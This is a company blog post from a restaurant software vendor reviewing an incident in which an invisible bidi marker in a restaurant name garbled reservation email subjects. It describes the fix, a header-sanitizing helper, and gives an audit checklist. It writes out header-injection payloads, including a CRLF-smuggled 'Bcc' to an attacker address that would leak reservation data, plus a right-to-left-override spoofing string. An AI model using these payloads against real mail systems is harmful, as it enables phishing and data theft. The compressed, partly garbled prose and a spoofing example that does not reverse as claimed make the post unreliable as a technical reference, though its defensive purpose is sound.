Skip to content
FeaturesPricingAffiliateBlogHelpAboutContact
Get StartedSign In
Back to Blog
industry2026-05-2412 min read

My restaurant name bidi marker spoofed reservation emails — CRLF/bidi sanitize gap (PR #611 DDD F2)

Felicity (54) owns The Eboracum Kitchen 38-cover Roman-history-themed restaurant on Stonegate in York city centre. Restaurant name entered into thMenu admin 3 months ago from Word brochure: "The Eboracum Kitchen U+202B - Roman Heritage Dining" (invisible RIGHT-TO-LEFT EMBEDDING marker). Tuesday morning 3 customers asked "I think your reservation email might be phishing?" One woman showed phone: subject **"Roman Heritage Dining" "Kitchen" "The Eboracum** in reverse + "Payment required" suspicious prefix. Felicity emailed support. Forensic: D1 restaurants hex inspect SELECT name → "The Eboracum Kitchen ‫- Roman Heritage Dining" U+202B before hyphen. Word bilingual-title formatter auto-inserted direction mark. apps/web-admin/src/lib/email/reservation.ts: `const subject = ${restaurantName} — Reservation Confirmation - ${customerName};` raw interpolation no sanitization. **3 attack vectors**: (1) Bidi spoofing U+202E RIGHT-TO-LEFT OVERRIDE "Restaurant U+202E ipdf.diaP" renders "Restaurant Paid.pdf!" phishing; (2) CRLF injection header smuggling restaurant name "X Bcc: attacker@evil.com" → reservation info attacker inbox leak; (3) C0 control char (Bell U+0007, Escape U+001B, DEL U+007F) terminal output spoof + log analyzer disrupt. 4 email-send code paths identified: reservation.ts + invoice-upcoming.ts + loyalty-rewards.ts + postback-failure.ts. All raw-interpolating operator-controlled strings. **PR #611 batch DDD F2** 2-layer fix: **Layer 1 sanitizePlainTextHeader helper** apps/web-admin/src/lib/email/sanitize.ts: BIDI_CHARS regex strip + CRLF \r\n → space (header smuggling closed) + C0_CONTROL \u0000-\u001f + \u007f strip + trim + slice(0, maxLen=80) RFC 2822 recommendation; 60-char From-line display name guideline. **Layer 2 4 email-send path sweep**: subject + From + Reply-To headers wrapped with `sanitizePlainTextHeader(restaurantName, 80)`. Production audit D1 restaurants hex-dump scan bidi/CRLF/C0 grep: **7 restaurants bidi marker** (Word/Google Docs paste origin), 0 CRLF, 2 trailing whitespace. Affected restaurants notice "invisible Unicode detected systematically cleaned, visual name unchanged." Felicity email subject **"The Eboracum Kitchen - Roman Heritage Dining — Reservation Confirmation - Sarah W."** bidi stripped customer inbox renders normally. 1-month free Pro tier credit. Bahattin Çorum Boğazkale "Boğazkale Hitit Mutfağı" 22-year family restaurant version with same flow Word direction-mark origin. Pattern: **email plain-text headers (subject, From, To, CC, BCC, Reply-To) need different sanitization than HTML body. HTML escape (escapeHtml) isn t enough — bidi formatting marker + CRLF + C0 control char strip + length cap required. Operator-controlled strings (restaurant_name, affiliate_name, customer_name) interpolated into email headers MUST always go through sanitizePlainTextHeader helper.** Implementation checklist: (1) HTML body sanitization vs plain-text header sanitization different (DOMPurify vs bidi+CRLF+C0+cap); (2) shared package helper route every email send code path; (3) subject + From + Reply-To headers always through helper; (4) length cap RFC 2822 80-char subject + 60-char From-line display name; (5) production audit D1 hex-dump scan operator-controlled field bidi/CRLF/C0 grep; (6) quarterly grep audit subject.*${ helper-wrapped verify; (7) pentest restaurant_name + customer_name fields test bidi+CRLF+C0 payloads + trigger reservation email + inspect rendered subject.

th

thMenu Team

thmenu.com

Found this helpful? Share it.